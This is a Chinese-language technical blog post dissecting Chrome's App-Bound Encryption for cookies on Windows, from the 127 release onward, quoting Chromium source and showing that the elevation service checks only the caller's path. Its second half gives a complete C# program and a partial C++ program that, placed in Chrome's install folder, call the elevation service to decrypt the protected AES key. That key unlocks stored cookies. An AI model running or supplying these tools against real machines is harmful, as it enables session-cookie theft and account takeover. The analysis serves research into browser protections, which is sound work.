【技术解剖】Chrome 127 版本之后的 ABE 加解密

admin 2024年11月20日23:00:52评论234 views字数 37899阅读126分19秒阅读模式

0x00 前言

在 Chrome 127 版本之后,在 Windows 上引入了一种针对 Cookie 的新的保护方法,该保护方法是通过提供应用程序绑定(App-Bound-Encryption)加密原语来改进 DPAPI。 Chrome 现在可以加密与应用程序身份相关的数据,而不允许以登录用户身份运行的任何应用程序访问此数据。当然,现在也只是针对 Cookie 改用新的加密方法,后续将其拓展到密码、支付数据和令牌等数据。

那么本文就对 ABE 进行讲解。

0x01 加密方法发展史

默认情况下,Chrome 将保存的登录账号密码保存在 "C:UsersxxxAppDataLocalGoogleChromeUser DataDefaultLogin Data"中,登录后的 Cookie 保存在 "C:UsersxxxAppDataLocalGoogleChromeUser DataDefaultNetworkCookies"

这两个文件都是 Sqlite 数据库文件,而它的有一些字段内容是经过加密的。

1.1 DPAPI

80.x 版本之前,Chrome 对这些加密字段使用的是 DPAPI 接口进行加密。

1.2 AES-256 的 GCM 模式

80.x 版本之后,Chrome 对这些加密字段使用的是 AES-256 的 GCM 模式进行加密。AES 密钥则保存在 "C:UsersxxxAppDataLocalGoogleChromeUser DataLocal State"的 encrypted_key 字段中,有意思的是,该 encrypted_key 字段内容是经过 DPAPI -> Base64 加密后保存的。经过该方式加密的数据,默认密文前缀为 V10

但是,在 127.x 版本之后,Chrome 对 AES 的密钥进行了进一步的处理,引入了 ABE 的概念,对加密后的 AES Key 保存在 Local State文件中的 app_bound_encrypted_key字段中。经过该方式加密的数据,默认密文前缀为 V20

PS:并非所有的 127.x 版本之后的 Chrome,都启用了 ABE。

0x02 ABE 的原理

因此我们接下来就是要看看怎么解密这个经过 ABE 加密后的 AES Key。那么首先需要知道 ABE 的原理是什么。

2.1 怎么运行的?

【技术解剖】Chrome 127 版本之后的 ABE 加解密

从图片可以看出,新的加密方式是需要 Chrome 和一个高权限服务进行一个交互的:内部实现则是判断进程是否是 Chrome 以及调用了 System 和 User 的 DPAPI 对 AES Key 进行加解密。

然后其他部分和之前版本就没有区别了。并且需要特别注意它的几个打叉的地方:

  1. 1. 不能通过读取 Chrome 进程的内存得到 key。

  2. 2. 非 Chrome 进程无法与高权限服务进行通讯(这个理解是有些歧义的)。

  3. 3. 无法直接读取数据库文件内容,因为内容已经加密。

由于 Chrome 已经提供了 Chrome Elevation Service(位于 src/chrome/elevation_service 中),该服务在 Chrome 作为系统范围安装时安装,并提供 COM 接口来支持操作。并且已为该 COM 接口提供了 IDL 文件(用于定义COM接口),地址为:https://github.com/chromium/chromium/blob/main/chrome/elevation_service/elevation_service_idl.idl。

本机的服务状态如下:

【技术解剖】Chrome 127 版本之后的 ABE 加解密

2.2 代码分析

其实我们不需要关心它的具体实现,因为已经提供了 COM 接口进行调用,但是不看代码的话,会有坑(我帮你走过了),最后还是得看代码,哈哈哈。

接下来我们根据代码进行详细分析,在 Elevated Service 针对 AES Key 的加解密的代码如下:

// https://github.com/chromium/chromium/blob/main/chrome/elevation_service/elevator.cc#省流版本
#include "chrome/elevation_service/elevator.h"
#include "chrome/elevation_service/caller_validation.h"
#include "chrome/elevation_service/elevated_recovery_impl.h"

namespace elevation_service {

// 加密数据
HRESULT Elevator::EncryptData(ProtectionLevel protection_level,
                              const BSTR plaintext,
                              BSTR* ciphertext,
                              DWORD* last_error)
 
{

  // 获取明文的字节长度
  UINT length = ::SysStringByteLen(plaintext);

  if (!length)
    return E_INVALIDARG;

  std::string plaintext_str(reinterpret_cast<char*>(plaintext), length);

  DATA_BLOB intermediate = {};
  // 使用模拟的客户端上下文进行加密
  if (ScopedClientImpersonation impersonate; impersonate.is_valid()) {
    // 获取调用进程
    const auto calling_process = GetCallingProcess();
    if (!calling_process.IsValid())
      return kErrorCouldNotObtainCallingProcess;

    // 生成验证数据,这个很关键
    const auto validation_data =
        GenerateValidationData(protection_level, calling_process);
    if (!validation_data.has_value()) {
      return validation_data.error();
    }
    const auto data =
        std::string(validation_data->cbegin(), validation_data->cend());

    std::string data_to_encrypt;
    // 将验证数据和明文数据附加到数据字符串中
    AppendStringWithLength(data, data_to_encrypt);
    AppendStringWithLength(plaintext_str, data_to_encrypt);

    DATA_BLOB input = {};
    input.cbData = base::checked_cast<DWORD>(data_to_encrypt.length());
    input.pbData = const_cast<BYTE*>(
        reinterpret_cast<const BYTE*>(data_to_encrypt.data()));

    // 使用用户上下文加密数据
    if (!::CryptProtectData(
            &input, /*szDataDescr=*/ 
            base::SysUTF8ToWide(version_info::GetProductName()).c_str(),
            nullptrnullptrnullptr/*dwFlags=*/CRYPTPROTECT_AUDIT,
            &intermediate)) {
      *last_error = ::GetLastError();
      return kErrorCouldNotEncryptWithUserContext;
    }
  } else {
    return impersonate.result();
  }

  DATA_BLOB output = {};
  {
    base::win::ScopedLocalAlloc intermediate_freer(intermediate.pbData);

    // 使用系统上下文进一步加密数据
    if (!::CryptProtectData(
            &intermediate,
            /*szDataDescr=*/ 
            base::SysUTF8ToWide(version_info::GetProductName()).c_str(),
            nullptrnullptrnullptr/*dwFlags=*/CRYPTPROTECT_AUDIT,
            &output)) {
      *last_error = ::GetLastError();
      return kErrorCouldNotEncryptWithSystemContext;
    }
  }
  base::win::ScopedLocalAlloc output_freer(output.pbData);

  // 将输出数据转换为 BSTR
  *ciphertext = ::SysAllocStringByteLen(reinterpret_cast<LPCSTR>(output.pbData),
                                        output.cbData);

  if (!*ciphertext)
    return E_OUTOFMEMORY;

  return S_OK;
}

// 解密数据
HRESULT Elevator::DecryptData(const BSTR ciphertext,
                              BSTR* plaintext,
                              DWORD* last_error)
 
{
  // 获取密文的字节长度
  UINT length = ::SysStringByteLen(ciphertext);

  if (!length)
    return E_INVALIDARG;

  DATA_BLOB input = {};
  input.cbData = length;
  input.pbData = reinterpret_cast<BYTE*>(ciphertext);

  DATA_BLOB intermediate = {};

  // 使用系统上下文解密
  if (!::CryptUnprotectData(&input, nullptrnullptrnullptrnullptr0,
                            &intermediate)) {
    *last_error = ::GetLastError();
    return kErrorCouldNotDecryptWithSystemContext;
  }

  base::win::ScopedLocalAlloc intermediate_freer(intermediate.pbData);

  std::string plaintext_str;
  // 使用用户模拟上下文进一步解密
  if (ScopedClientImpersonation impersonate; impersonate.is_valid()) {
    DATA_BLOB output = {};
    // 使用用户存储解密
    if (!::CryptUnprotectData(&intermediate, nullptrnullptrnullptrnullptr,
                              0, &output)) {
      *last_error = ::GetLastError();
      return kErrorCouldNotDecryptWithUserContext;
    }
    base::win::ScopedLocalAlloc output_freer(output.pbData);

    std::string mutable_plaintext(reinterpret_cast<char*>(output.pbData),
                                  output.cbData)
;

    // 从解密数据中提取验证数据
    const std::string validation_data = PopFromStringFront(mutable_plaintext);
    if (validation_data.empty()) {
      return E_INVALIDARG;
    }
    const auto data =
        std::vector<uint8_t>(validation_data.cbegin(), validation_data.cend());
    const auto process = GetCallingProcess();
    if (!process.IsValid()) {
      *last_error = ::GetLastError();
      return kErrorCouldNotObtainCallingProcess;
    }

    // 注意:验证应始终使用调用者模拟令牌进行。
    std::string log_message;
    HRESULT validation_result = ValidateData(process, data, &log_message);

    if (FAILED(validation_result)) {
      *last_error = ::GetLastError();
      // 仅在 Dev 通道上启用扩展日志
      if (install_static::GetChromeChannel() == version_info::Channel::DEV &&
          !log_message.empty()) {
        *plaintext =
            ::SysAllocStringByteLen(log_message.c_str(), log_message.length());
      }
      return validation_result;
    }
    plaintext_str = PopFromStringFront(mutable_plaintext);
  } else {
    return impersonate.result();
  }

  // 将解密后的字符串转换为 BSTR
  *plaintext =
      ::SysAllocStringByteLen(plaintext_str.c_str(), plaintext_str.length());

  if (!*plaintext)
    return E_OUTOFMEMORY;

  return S_OK;
}

从代码中还是比较明显可以看出来,key 的加密流程为:明文 -> 验证数据 + 明文 -> System DPAPI -> User DPAPI -> 密文,那么解密则反之。

这里不读代码所遇到的坑就是,在跟进 GenerateValidationData()的时候发现该代码生成的是基于调用程序路径的验证数据,并且在解密时,同样调用 ValidateData 验证数据的路径,来判断是否同一路径的调用程序解密。

PS:由于只是验证了路径,而并非校验完整的程序名称及路径。因此我们可以通过编写解密程序,在相同的路径下允许解密程序即可获取到解密后的 AES Key。

0x03 AES Key 是怎么保存的?

3.1 encrypted_key

我们先看看 encrypted_key是怎么来的,代码地址为:https://github.com/chromium/chromium/blob/fffc5f61d4de48d0ac75140784ab6d2e240ffa4a/components/os_crypt/sync/os_crypt_win.cc#L243

可以很简单的看出来, encrypted_key是通过随机生成数据,经过用户的 DPAPI 进行加密后,在前面加上 "DPAPI" 字符,最后 Base64 加密后保存。

3.2 app_bound_encrypted_key

那么接下来看 app_bound_encrypted_key字段,我们查看代码,代码具体地址为:https://github.com/chromium/chromium/tree/main/chrome/browser/os_crypt

#include "chrome/browser/os_crypt/app_bound_encryption_provider_win.h"

#include <optional>

#include "base/base64.h"
#include "base/debug/dump_without_crashing.h"
#include "base/logging.h"
#include "base/metrics/histogram_functions.h"
#include "base/metrics/histogram_macros.h"
#include "base/task/single_thread_task_runner.h"
#include "base/task/task_traits.h"
#include "base/task/thread_pool.h"
#include "base/types/expected.h"
#include "base/version_info/channel.h"
#include "chrome/browser/os_crypt/app_bound_encryption_win.h"
#include "chrome/common/channel_info.h"
#include "components/crash/core/common/crash_key.h"
#include "components/os_crypt/async/common/algorithm.mojom.h"
#include "components/os_crypt/async/common/encryptor.h"
#include "components/prefs/pref_registry_simple.h"
#include "components/prefs/pref_service.h"
#include "crypto/random.h"

namespace os_crypt_async {

namespace {

// 应用程序绑定加密管理的加密密钥的偏好名称。
constexpr char kEncryptedKeyPrefName[] = "os_crypt.app_bound_encrypted_key";

// 使用应用程序绑定加密加密的密钥前缀。用于验证从偏好中检索到的加密密钥数据是否有效。
constexpr uint8_t kCryptAppBoundKeyPrefix[] = {'A''P''P''B'};

// 用于标识使用应用程序绑定加密密钥加密的数据的标签。OSCryptAsync 使用此标签识别数据。
constexpr char kAppBoundDataPrefix[] = "v20";

namespace features {
// 紧急“关闭开关”,以防大量日志条目被创建。当前指标显示不到 0.1% 的客户端应该会生成日志。
BASE_FEATURE(kAppBoundEncryptionMetricsExtendedLogs,
             "AppBoundEncryptionMetricsExtendedLogs",
             base::FEATURE_ENABLED_BY_DEFAULT);
}  // namespace features

}  // namespace


// COMWorker 类用于在后台执行加解密操作
class AppBoundEncryptionProviderWin::COMWorker {
 public:
  // 加密密钥
  std::optional<const std::vector<uint8_t>> EncryptKey(
      const std::vector<uint8_t>& decrypted_key) {
    std::string plaintext_string(decrypted_key.begin(), decrypted_key.end());
    std::string ciphertext;
    DWORD last_error;

    // 调用加密函数
    HRESULT res = os_crypt::EncryptAppBoundString(
        ProtectionLevel::PROTECTION_PATH_VALIDATION, plaintext_string,
        ciphertext, last_error);
    // 返回加密后的密钥
    return std::vector<uint8_t>(ciphertext.cbegin(), ciphertext.cend());
  }

  // 解密密钥
  std::optional<const std::vector<uint8_t>> DecryptKey(
      const std::vector<uint8_t>& encrypted_key) {
    DWORD last_error;
    std::string encrypted_key_string(encrypted_key.begin(),
                                     encrypted_key.end())
;
    std::string decrypted_key_string;
    std::string log_message;
    // 调用解密函数
    HRESULT res = os_crypt::DecryptAppBoundString(encrypted_key_string, decrypted_key_string, last_error, &log_message);
    // 清除解密后的字符串数据并返回结果
    std::vector<uint8_tdata(decrypted_key_string.cbegin(), decrypted_key_string.cend());
    ::SecureZeroMemory(decrypted_key_string.data(), decrypted_key_string.size());
    return data;
  }
};



// 获取密钥
void AppBoundEncryptionProviderWin::GetKey(KeyCallback callback) {
  DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
  auto encrypted_key_data = RetrieveEncryptedKey();

  if (encrypted_key_data.has_value()) {
    // 存在密钥,在后台工作线程上执行解密。
    com_worker_.AsyncCall(&AppBoundEncryptionProviderWin::COMWorker::DecryptKey)
        .WithArgs(std::move(encrypted_key_data.value()))
        .Then(base::BindOnce(&AppBoundEncryptionProviderWin::ReplyWithKey,
                             std::move(callback)));
    return;
  }

  // 生成随机密钥
  const auto random_key = crypto::RandBytesAsVector(
      os_crypt_async::Encryptor::Key::kAES256GCMKeySize);
  // 获取密钥的副本。加密操作完成后,这将作为提供程序的未加密密钥返回。
  std::vector<uint8_tdecrypted_key(random_key.cbegin(), random_key.cend());
  // 在后台工作线程上执行加密。
  com_worker_.AsyncCall(&AppBoundEncryptionProviderWin::COMWorker::EncryptKey)
      .WithArgs(std::move(random_key))
      .Then(base::BindOnce(
          &AppBoundEncryptionProviderWin::StoreEncryptedKeyAndReply,
          weak_factory_.GetWeakPtr(), std::move(decrypted_key),
          std::move(callback)));
}

// 存储加密密钥并回复
void AppBoundEncryptionProviderWin::StoreEncryptedKeyAndReply(
    const std::vector<uint8_t>& decrypted_key,
    KeyCallback callback,
    const std::optional<std::vector<uint8_t>>& encrypted_key)
 
{
  DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
  if (!encrypted_key) {
    // 这里的失败导致提供程序未被注册。
    std::move(callback).Run(kAppBoundDataPrefix, std::nullopt);
    return;
  }

  // 创建包含前缀的完整密钥
  std::vector<uint8_tkey(sizeof(kCryptAppBoundKeyPrefix) +
                           encrypted_key->size())
;
  key.insert(key.cbegin(), std::begin(kCryptAppBoundKeyPrefix),
             std::end(kCryptAppBoundKeyPrefix));
  key.insert(key.cbegin() + sizeof(kCryptAppBoundKeyPrefix),
             encrypted_key->cbegin(), encrypted_key->cend());
  // 添加指示此密钥已通过应用绑定提供程序加密的标头。
  std::string base64_key = base::Base64Encode(key);
  // 存储密钥。
  local_state_->SetString(kEncryptedKeyPrefName, base64_key);

  // 回复密钥
  ReplyWithKey(std::move(callback), decrypted_key);
}

// 回复密钥
void AppBoundEncryptionProviderWin::ReplyWithKey(
    KeyCallback callback,
    std::optional<std::vector<uint8_t>> decrypted_key)
 
{
  if (decrypted_key) {
    // 创建加密器密钥对象
    Encryptor::Key key(*decrypted_key, mojom::Algorithm::kAES256GCM);
    // 清除内存中的密钥数据
    ::SecureZeroMemory(decrypted_key->data(), decrypted_key->size());
    // 执行回调,传递密钥
    std::move(callback).Run(kAppBoundDataPrefix, std::move(key));
    return;
  }
  // 这里的失败导致提供程序未被注册。
  std::move(callback).Run(kAppBoundDataPrefix, std::nullopt);
}

}  // namespace os_crypt_async

其中,COMWorker封装好的类,用于调用高权限服务的 COM 接口,重点可以直接看 GetKey():

3.2.1 加密部分

  1. 1. 随机生成 AES256GCM 密钥

  2. 2. 通过异步调用 COMWorker 中的 EncryptKey 方法,并传递 random_key 作为参数,这里需要注意的是它使用的是 PROTECTION_PATH_VALIDATION,也就是加密的时候,加入了校验调用程序的路径。

  3. 3. 在 StoreEncryptedKeyAndReply() 里面,则是将 APPB 插入在密文的前面,最后 Base64 加密后保存。

3.2.2 解密部分

  1. 1. 在 RetrieveEncryptedKey() 读取 Base64 字符串、去除 APPB。

  2. 2. 通过异步调用 COMWorker 中的 DecryptKey 方法(在实现里,校验了调用程序的路径),传递密文。

  3. 3. 恢复密钥。

0x04 解密代码

并且通过阅读源码也可以发现,在 https://github.com/chromium/chromium/blob/main/chrome/browser/os_crypt/app_bound_encryption_win.cc 中,也确实是通过调用该 COM 接口来对数据进行加解密。

由于在加密 Key 的时候,调用 PROTECTION_PATH_VALIDATION,因此它会校验调用者的路径验证,因此我们的解密程序,需要放在 Chrome 应用程序目录中(例如,C:Program FilesGoogleChromeApplication)。从命令行运行可执行文件:

4.1 C# 代码

using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
using System.Linq;
using System.Diagnostics;

namespace ChromeAppBound
{
    class Program
    {
        [DllImport("ole32.dll")]
        public static extern int CoInitializeEx(IntPtr pvReserved, uint dwCoInit);

        [DllImport("ole32.dll")]
        public static extern void CoUninitialize();

        [DllImport("ole32.dll")]
        public static extern int CoCreateInstance(
        ref Guid clsid,
        IntPtr pUnkOuter,
        uint dwClsContext,
        ref Guid iid,
        out IntPtr ppv
)
;

        [DllImport("ole32.dll")]
        public static extern int CoSetProxyBlanket(
            IntPtr pProxy,
            uint dwAuthnSvc,
            uint dwAuthzSvc,
            IntPtr pServerPrincName,
            uint dwAuthnLevel,
            uint dwImpLevel,
            IntPtr pAuthInfo,
            uint dwCapabilities
)
;

        [DllImport("oleaut32.dll")]
        public static extern IntPtr SysStringByteLen(IntPtr bstr);

        [DllImport("oleaut32.dll")]
        public static extern IntPtr SysAllocStringByteLen(byte[] str, uint len);

        private static readonly byte[] KeyPrefix = { (byte)'A', (byte)'P', (byte)'P', (byte)'B' };

        private static void DisplayBanner()
        {
            Console.ForegroundColor = ConsoleColor.Red;
            Console.WriteLine("----------------------------------------------");
            Console.WriteLine("|  Chrome App-Bound Encryption - Decryption  |");
            Console.WriteLine("|  RowTeam (@rcoil)                          |");
            Console.WriteLine("----------------------------------------------");
            Console.WriteLine("");
            Console.ResetColor();
        }

        private static byte[] RetrieveEncryptedKeyFromLocalState()
        {
            Console.WriteLine("[+] Retrieving AppData path.");

            var appDataPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
            var localStatePath = Path.Combine(appDataPath, @"GoogleChromeUser DataLocal State");

            Console.WriteLine("[+] Local State path: " + localStatePath);

            if (!File.Exists(localStatePath))
            {
                Console.WriteLine("[!] Could not open the Local State file.");
                return new byte[0];
            }

            var fileContent = File.ReadAllText(localStatePath);
            var searchKey = ""app_bound_encrypted_key":"";
            var keyStartPos = fileContent.IndexOf(searchKey);

            if (keyStartPos == -1)
            {
                Console.WriteLine("[!] 'app_bound_encrypted_key' not found in Local State file.");
                return new byte[0];
            }

            keyStartPos += searchKey.Length;
            var keyEndPos = fileContent.IndexOf('"', keyStartPos);

            if (keyEndPos == -1)
            {
                Console.WriteLine("[!] Malformed 'app_bound_encrypted_key' in Local State file.");
                return new byte[0];
            }

            var base64_encrypted_key = fileContent.Substring(keyStartPos, keyEndPos - keyStartPos);
            var encrypted_key_with_header = Convert.FromBase64String(base64_encrypted_key);

            if (!KeyPrefix.SequenceEqual(encrypted_key_with_header.Take(KeyPrefix.Length)))
            {
                Console.WriteLine("[!] Invalid key header.");
                return new byte[0];
            }

            Console.WriteLine("[+] Key header is valid.");
            return encrypted_key_with_header.Skip(KeyPrefix.Length).ToArray();
        }

        private static string BytesToHexString(byte[] byteArray)
        {
            return BitConverter.ToString(byteArray).Replace("-""").ToLower();
        }

        private static void PrintChromeVersion(string chromePath)
        {
            try
            {
                var versionInfo = FileVersionInfo.GetVersionInfo(chromePath);
                Console.ForegroundColor = ConsoleColor.Green;
                Console.WriteLine("[+] Found Chrome Version: " + versionInfo.FileVersion);
                Console.ResetColor();
            }
            catch (Exception ex)
            {
                Console.ForegroundColor = ConsoleColor.Red;
                Console.WriteLine("[!] Could not get version info for " + chromePath);
                Console.ResetColor();
            }
        }

        // 定义 ProtectionLevel 枚举
        enum ProtectionLevel
        {
            PROTECTION_NONE = 0,
            PROTECTION_PATH_VALIDATION_OLD = 1,
            PROTECTION_PATH_VALIDATION = 2,
            PROTECTION_MAX = 3
        }

        // 定义与 IElevator COM 接口的接口
        [ComImport, Guid("463ABECF-410D-407F-8AF5-0DF35A005CC8"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
        interface IElevator
        {
            int RunRecoveryCRXElevated(
                string crxPath,
                string browserAppId,
                string browserVersion,
                string sessionId,
                uint callerProcessId,
                out IntPtr processHandle
)
;

            int EncryptData(
                ProtectionLevel protectionLevel,
                IntPtr plaintext,
                out IntPtr ciphertext,
                out uint lastError
)
;

            int DecryptData(
                IntPtr ciphertext,
                out IntPtr plaintext,
                out uint lastError
)
;
        }

        static byte[] EncryptData(IElevator elevator, byte[] plaintext)
        {
            IntPtr plaintextPtr = SysAllocStringByteLen(plaintext, (uint)plaintext.Length);
            if (plaintextPtr == IntPtr.Zero)
            {
                throw new Exception("Failed to allocate memory for plaintext.");
            }

            Marshal.Copy(plaintext, 0, plaintextPtr, plaintext.Length);

            IntPtr ciphertext;
            try
            {
                // 调用 EncryptData 方法
                int hr = elevator.EncryptData(
                    ProtectionLevel.PROTECTION_PATH_VALIDATION,
                    plaintextPtr,
                    out ciphertext,
                    out uint lastError);

                if (hr < 0)
                {
                    throw new COMException("EncryptData failed.", hr);
                }
            }
            finally
            {
                Marshal.FreeBSTR(plaintextPtr);
            }

            int ciphertextLength = (int)SysStringByteLen(ciphertext);
            byte[] encryptedBytes = new byte[ciphertextLength];

            Marshal.Copy(ciphertext, encryptedBytes, 0, ciphertextLength);
            Marshal.FreeBSTR(ciphertext);
            return encryptedBytes;
        }

        static byte[] DecryptData(IElevator elevator, byte[] encrypted_key)
        {

            IntPtr bstrPtr = SysAllocStringByteLen(encrypted_key, (uint)encrypted_key.Length);

            if (bstrPtr == IntPtr.Zero)
            {
                return null;
            }

            Marshal.Copy(encrypted_key, 0, bstrPtr, encrypted_key.Length);

            IntPtr data;
            int hr;
            try
            {
                hr = elevator.DecryptData(bstrPtr, out data, out uint lastError);
            }
            catch (Exception e)
            {
                return null;
            }
            finally
            {
                Marshal.FreeBSTR(bstrPtr);
            }

            if (hr < 0)
            {
                return null;
            }

            int byteLength = (int)SysStringByteLen(data);

            byte[] bytes = new byte[byteLength];

            Marshal.Copy(data, bytes, 0, byteLength);

            Marshal.FreeBSTR(data);

            return bytes;
        }

        static void Main(string[] args)
        {
            DisplayBanner();
            PrintChromeVersion(@"C:Program FilesGoogleChromeApplicationchrome.exe");
            Console.WriteLine("[*] Starting Chrome App-Bound Encryption Decryption process.");

            uint CLSCTX_LOCAL_SERVER = 0x4;
            uint RPC_C_AUTHN_DEFAULT = 0xffffffff;
            uint RPC_C_AUTHZ_DEFAULT = 0xffffffff;
            uint RPC_C_AUTHN_LEVEL_PKT_PRIVACY = 6;
            uint RPC_C_IMP_LEVEL_IMPERSONATE = 3;
            uint EOAC_DYNAMIC_CLOAKING = 0x40;

            Guid elevatorClsid = new Guid("708860E0-F641-4611-8895-7D867DD3675B");
            Guid elevatorIid = typeof(IElevator).GUID;

            IntPtr elevatorPtr;
            int hr = CoCreateInstance(ref elevatorClsid, IntPtr.Zero, CLSCTX_LOCAL_SERVER, ref elevatorIid, out elevatorPtr);

            if (hr < 0)
            {
                return;
            }

            IElevator elevator = (IElevator)Marshal.GetObjectForIUnknown(elevatorPtr);

            hr = CoSetProxyBlanket(
                elevatorPtr,
                RPC_C_AUTHN_DEFAULT,
                RPC_C_AUTHZ_DEFAULT,
                IntPtr.Zero,
                RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
                RPC_C_IMP_LEVEL_IMPERSONATE,
                IntPtr.Zero,
                EOAC_DYNAMIC_CLOAKING);

            if (hr < 0)
            {
                return;
            }

            // 检索加密密钥
            var encrypted_key = RetrieveEncryptedKeyFromLocalState();
            Console.WriteLine("[+] Encrypted key retrieved: " + BytesToHexString(encrypted_key.Take(20).ToArray()) + "...");

            var plaintext = DecryptData(elevator, encrypted_key);

            Console.WriteLine("[+] Decrypted Key:" + BytesToHexString(plaintext));
        }
    }
}
【技术解剖】Chrome 127 版本之后的 ABE 加解密

4.2 C++ 代码

/*
 * Source Code: https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption
 * Chrome App-Bound Encryption Service:
 * https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html
 * https://drive.google.com/file/d/1xMXmA0UJifXoTHjHWtVir2rb94OsxXAI/view
 * Based on the code of @snovvcrash
 * https://gist.github.com/snovvcrash/caded55a318bbefcb6cc9ee30e82f824
 */


#include <Windows.h>
#include <ShlObj.h>
#include <wrl/client.h>
#include <iostream>
#include <fstream>
#include <sstream>
#include <iomanip>
#include <vector>
#include <string>

#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "comsuppw.lib")
#pragma comment(lib, "oleaut32.lib")
#pragma comment(lib, "shell32.lib")
#pragma comment(lib, "version.lib")

// CLSID and IID for Chrome App-Bound encryption service
// https://github.com/chromium/chromium/blob/225f82f8025e4f93981310fd33daa71dc972bfa9/chrome/elevation_service/elevation_service_idl.idl
const CLSID CLSID_Elevator = {0x708860E00xF6410x4611, {0x880x950x7D0x860x7D0xD30x670x5B}};
const IID IID_IElevator = {0x463ABECF0x410D0x407F, {0x8A0xF50x0D0xF30x5A0x000x5C0xC8}};

// Additional IIDs for other Chrome variants for reference:
// const IID IID_IElevatorChromium = {0xB88C45B9, 0x8825, 0x4629, {0xB8, 0x3E, 0x77, 0xCC, 0x67, 0xD9, 0xCE, 0xED}};
// const IID IID_IElevatorChromeBeta = {0xA2721D66, 0x376E, 0x4D2F, {0x9F, 0x0F, 0x90, 0x70, 0xE9, 0xA4, 0x2B, 0x5F}};
// const IID IID_IElevatorChromeDev = {0xBB2AA26B, 0x343A, 0x4072, {0x8B, 0x6F, 0x80, 0x55, 0x7B, 0x8C, 0xE5, 0x71}};
// const IID IID_IElevatorChromeCanary = {0x4F7CE041, 0x28E9, 0x484F, {0x9D, 0xD0, 0x61, 0xA8, 0xCA, 0xCE, 0xFE, 0xE4}};

// These IIDs correspond to different flavors of Chrome and Chromium for compatibility:
// - IID_IElevatorChromium: General Chromium version.
// - IID_IElevatorChromeBeta: Beta version of Chrome.
// - IID_IElevatorChromeDev: Development version of Chrome.
// - IID_IElevatorChromeCanary: Canary (experimental) version of Chrome.

// The primary interface in this code is IElevator, defined by the IID_IElevator above.
// Additional interfaces (e.g., IID_IElevatorChrome, IID_IElevatorChromium) can be used for other Chrome variants as needed.

enum class ProtectionLevel
{
    None = 0,
    PathValidationOld = 1,
    PathValidation = 2,
    Max = 3
};

MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C")
IElevator : public IUnknown
{
public:
    virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated(
        const WCHAR *crx_path, const WCHAR *browser_appid, const WCHAR *browser_version,
        const WCHAR *session_id, DWORD caller_proc_id, ULONG_PTR *proc_handle)
 
0;

    virtual HRESULT STDMETHODCALLTYPE EncryptData(
        ProtectionLevel protection_level, const BSTR plaintext,
        BSTR *ciphertext, DWORD *last_error)
 
0;

    virtual HRESULT STDMETHODCALLTYPE DecryptData(
        const BSTR ciphertext, BSTR *plaintext, DWORD *last_error)
 
0;
};

namespace ConsoleUtils
{
    void SetConsoleColor(WORD color)
    
{
        HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
        SetConsoleTextAttribute(hConsole, color);
    }

    void DisplayBanner()
    
{
        SetConsoleColor(12);
        std::cout << "----------------------------------------------" << std::endl;
        std::cout << "|  Chrome App-Bound Encryption - Decryption  |" << std::endl;
        std::cout << "|  Alexander Hagenah (@xaitax)               |" << std::endl;
        std::cout << "----------------------------------------------" << std::endl;
        std::cout << "" << std::endl;
        SetConsoleColor(7);
    }
}

namespace ChromeAppBound
{
    constexpr size_t KeySize = 32;
    const uint8_t KeyPrefix[] = {'A''P''P''B'};

    const std::string Base64Chars =
        "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
        "abcdefghijklmnopqrstuvwxyz"
        "0123456789+/";

    inline bool IsBase64(unsigned char c)
    
{
        return (isalnum(c) || (c == '+') || (c == '/'));
    }

    std::vector<uint8_tBase64Decode(const std::string &encoded_string)
    
{
        int in_len = encoded_string.size();
        int i = 0, j = 0, in_ = 0;
        uint8_t char_array_4[4]{}, char_array_3[3]{};
        std::vector<uint8_t> decoded_data;

        while (in_len-- && (encoded_string[in_] != '=') && IsBase64(encoded_string[in_]))
        {
            char_array_4[i++] = encoded_string[in_++];
            if (i == 4)
            {
                for (i = 0; i < 4; i++)
                    char_array_4[i] = Base64Chars.find(char_array_4[i]);

                char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
                char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
                char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];

                for (i = 0; i < 3; i++)
                    decoded_data.push_back(char_array_3[i]);

                i = 0;
            }
        }

        if (i)
        {
            for (j = i; j < 4; j++)
                char_array_4[j] = 0;

            for (j = 0; j < 4; j++)
                char_array_4[j] = Base64Chars.find(char_array_4[j]);

            char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
            char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
            char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];

            for (j = 0; j < i - 1; j++)
                decoded_data.push_back(char_array_3[j]);
        }

        ConsoleUtils::SetConsoleColor(9);
        std::cout << "[+]";
        ConsoleUtils::SetConsoleColor(7);
        std::cout << " Finished decoding." << std::endl;

        return decoded_data;
    }

    std::string BytesToHexString(const BYTE *byteArray, size_t size)
    
{
        std::ostringstream oss;
        for (size_t i = 0; i < size; ++i)
            oss << std::hex << std::setw(2) << std::setfill('0') << static_cast<int>(byteArray[i]);
        return oss.str();
    }

    std::string GetAppDataPath()
    
{
        char appDataPath[MAX_PATH];
        if (SHGetFolderPathA(NULL, CSIDL_LOCAL_APPDATA, NULL0, appDataPath) != S_OK)
        {
            ConsoleUtils::SetConsoleColor(12);
            std::cerr << "[-] ";
            ConsoleUtils::SetConsoleColor(7);
            std::cerr << "Could not retrieve AppData path." << std::endl;
            return "";
        }
        return std::string(appDataPath);
    }

    std::vector<uint8_tRetrieveEncryptedKeyFromLocalState()
    
{
        ConsoleUtils::SetConsoleColor(9);
        std::cout << "[+] ";
        ConsoleUtils::SetConsoleColor(7);
        std::cout << "Retrieving AppData path." << std::endl;

        std::string appDataPath = GetAppDataPath();
        if (appDataPath.empty())
        {
            return {};
        }

        std::string localStatePath = appDataPath + "\Google\Chrome\User Data\Local State";
